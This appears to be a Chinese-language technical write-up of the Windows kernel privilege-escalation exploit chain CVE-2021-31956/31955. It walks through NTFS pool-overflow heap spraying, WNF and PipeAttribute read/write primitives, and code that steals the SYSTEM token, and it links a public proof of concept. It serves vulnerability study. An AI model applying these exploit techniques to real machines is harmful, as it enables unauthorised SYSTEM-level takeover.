1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 | __int64 __fastcall ExpWnfReadStateData(__int64 nameinstance, _DWORD * CurrentChangeStamp, void * dest, unsigned int BufferSize, _DWORD * outbufsize) { volatile signed __int64 * v9; / / rbx __int64 v10; / / rdi _DWORD * StateData; / / rdx unsigned int DataSize; / / eax unsigned int v14; / / [rsp + 20h ] [rbp - 48h ] v14 = 0 ; v9 = (volatile signed __int64 * )(nameinstance + 0x50 ); v10 = KeAbPreAcquire(nameinstance + 0x50 , 0i64 , 0 ); if ( _InterlockedCompareExchange64(v9, 17i64 , 0i64 ) ) ExfAcquirePushLockSharedEx(v9, v10, v9); if ( v10 ) * (_BYTE * )(v10 + 26 ) | = 1u ; StateData = * (_DWORD * * )(nameinstance + 0x58 ); / / StateData if ( !StateData ) { * CurrentChangeStamp = 0 ; goto LABEL_11; } if ( StateData = = (_DWORD * ) 1 ) { * CurrentChangeStamp = * (_DWORD * )(nameinstance + 0x60 ); LABEL_11: * outbufsize = 0 ; goto LABEL_13; } * CurrentChangeStamp = StateData[ 3 ]; * outbufsize = StateData[ 2 ]; DataSize = StateData[ 2 ]; if ( BufferSize < DataSize ) { / / length check on size here v14 = - 1073741789 ; / / STATUS_BUFFER_TOO_SMALL } else { memmove(dest, StateData + 4 , DataSize); v14 = 0 ; } LABEL_13: if ( _InterlockedCompareExchange64(v9, 0i64 , 17i64 ) ! = 17 ) ExfReleasePushLockShared((signed __int64 * )v9); KeAbPostRelease((ULONG_PTR)v9); return v14; } |
通过堆喷控制内存,使用NTFS的堆溢出越界写_WNF_STATE_DATA中的DataSize,接下来通过NtQueryWnfStateData实现相对偏移地址读写。
任意地址读-1
通过PipeAttribute实现任意地址读
PipeAttribute详见:
https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf
1 2 3 4 5 6 7 | typedef struct pipe_attribute { LIST_ENTRY list ; char * AttributeName; size_t ValueSize; char * AttributeValue; char data[ 0 ]; } pipe_attribute_t; |
PipeAttribute块的大小也是可控的,并且分配在分页池上,因此可以将块放置在与易受攻击的 NTFS 块或允许相对写入的 WNF 块相邻的位置。两个指针AttributeName、AttributeValue 正常情况下是指向PipeAttribute.data[]后面的,通过堆布局,将AttributeValue的指针该为任意地址,就可以实现任意地址读。遗憾的是,windows并没有提供直接更新该数据结构的功能,不能通过该方法进行任意地址写。
使用这个布局,修改PipeAttribute的Flink指针,并将其指向一个伪造的管道属性。
// 使指向下一个属性的指针在用户层
overwritten_pipe_attribute->list.Flink = (LIST_ENTRY *)xploit->fake_pipe_attribute;
分页池创建管道后,用户可以向管道添加属性,同时属性值分配的大小和填充的数据完全由用户来控制。
AttributeName和AttributeValue是指向数据区不同偏移的两个指针。
同时在用户层,可以使用0x110038控制码来读取属性值。AttributeValue指针和AttributeValueSize大小将被用于读取属性值并返回给用户。
属性值可以被修改,但这会触发先前的PipeAttribute的释放和新的PipeAttribute的分配。这意味着如果攻击者可以控制PipeAttribute结构体的AttributeValue和AttributeValueSize字段,它就可以在内核中任意读取数据,但不能任意写。
所以,控制Pipe_Attribute的List_next指针值,使其指向用户层的Pipe_Attribute,也就意味着用户层的PipeAttribute结构体的AttributeValue和AttributeValueSize字段我们可以任意指定,也就可以在内核中任意读取数据数据,即获得了一个任意地址读原语。
任意地址写-1
释放掉堆喷未修改的其他的Pipe_Attribute结构,使用_WNF_NAME_INSTANCE重新进行堆喷,通过局部地址读写,覆盖掉下一个Wnf结构体里的_WNF_STATE_DATA,将其指向当前进程的EPROCESS,使用NtUpdateWnfStateData操作,即可实现写操作 。
_WNF_NAME_INSTANCE结构的CreatorProcess包含_EPROCESS指针
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | nt!_WNF_NAME_INSTANCE + 0x000 Header : _WNF_NODE_HEADER + 0x008 RunRef : _EX_RUNDOWN_REF + 0x010 TreeLinks : _RTL_BALANCED_NODE + 0x028 StateName : _WNF_STATE_NAME_STRUCT + 0x030 ScopeInstance : Ptr64 _WNF_SCOPE_INSTANCE + 0x038 StateNameInfo : _WNF_STATE_NAME_REGISTRATION + 0x050 StateDataLock : _WNF_LOCK + 0x058 StateData : Ptr64 _WNF_STATE_DATA + 0x060 CurrentChangeStamp : Uint4B + 0x068 PermanentDataStore : Ptr64 Void + 0x070 StateSubscriptionListLock : _WNF_LOCK + 0x078 StateSubscriptionListHead : _LIST_ENTRY + 0x088 TemporaryNameListEntry : _LIST_ENTRY + 0x098 CreatorProcess : Ptr64 _EPROCESS + 0x0a0 DataSubscribersCount : Int4B + 0x0a4 CurrentDeliveryCount : Int4B |
遍历进程链表,获得pid4的token
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | ULONGLONG eprocess = (ULONGLONG)tmp_name.CreatorProcess; ULONG process_id_offset; ULONG token_offset; ULONG link_offset; if (locate_exp_offset(eprocess, &process_id_offset, &token_offset, &link_offset)) goto die; / / we need locate process id offset ULONGLONG token_addr = eprocess + token_offset; UCHAR * begin_eprocess = eprocess; while ( 1 ) { ULONGLONG process_id; ab_read(eprocess + process_id_offset, &process_id, 8 ); if (process_id = = 4 ) { break ; } UCHAR * tmp; ab_read(eprocess + link_offset, &tmp, 8 ); tmp - = link_offset; if (tmp = = begin_eprocess) { break ; } eprocess = tmp; } ULONGLONG token; ab_read(eprocess + token_offset,&token, 8 ); DEBUG( "system token %016llx\n" , token); |
修改 WNF的StateData指向当前进程的token
1 | wnf_name - >StateData = (WNF_STATE_DATA * )(token_addr - 0x50 ); |
调用NtUpdateWnfStateData替换当前进程的token为 system的
1 2 | * (ULONGLONG * )(write_buf + 0x40 ) = token; mystatus = NtUpdateWnfStateData(&abwrite_st, write_buf, 0x48 , 0 , 0 , 0 , 0 ); |
CVE-2021-31955
在卡巴发现的在野利用样本中,CVE-2021-31956利用了CVE-2021-31955来解决EPROCESS地址泄漏问题。
CVE-2021-31955漏洞是ntoskrnl.exe中的一个信息泄露漏洞。NtQuerySystemInformation 函数返回的 SuperFetch信息类SuperfetchPrivSourceQuery中包含当前执行的进程的EPROCESS kernel 地址。
https://github.com/freeide/CVE-2021-31955-POC
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界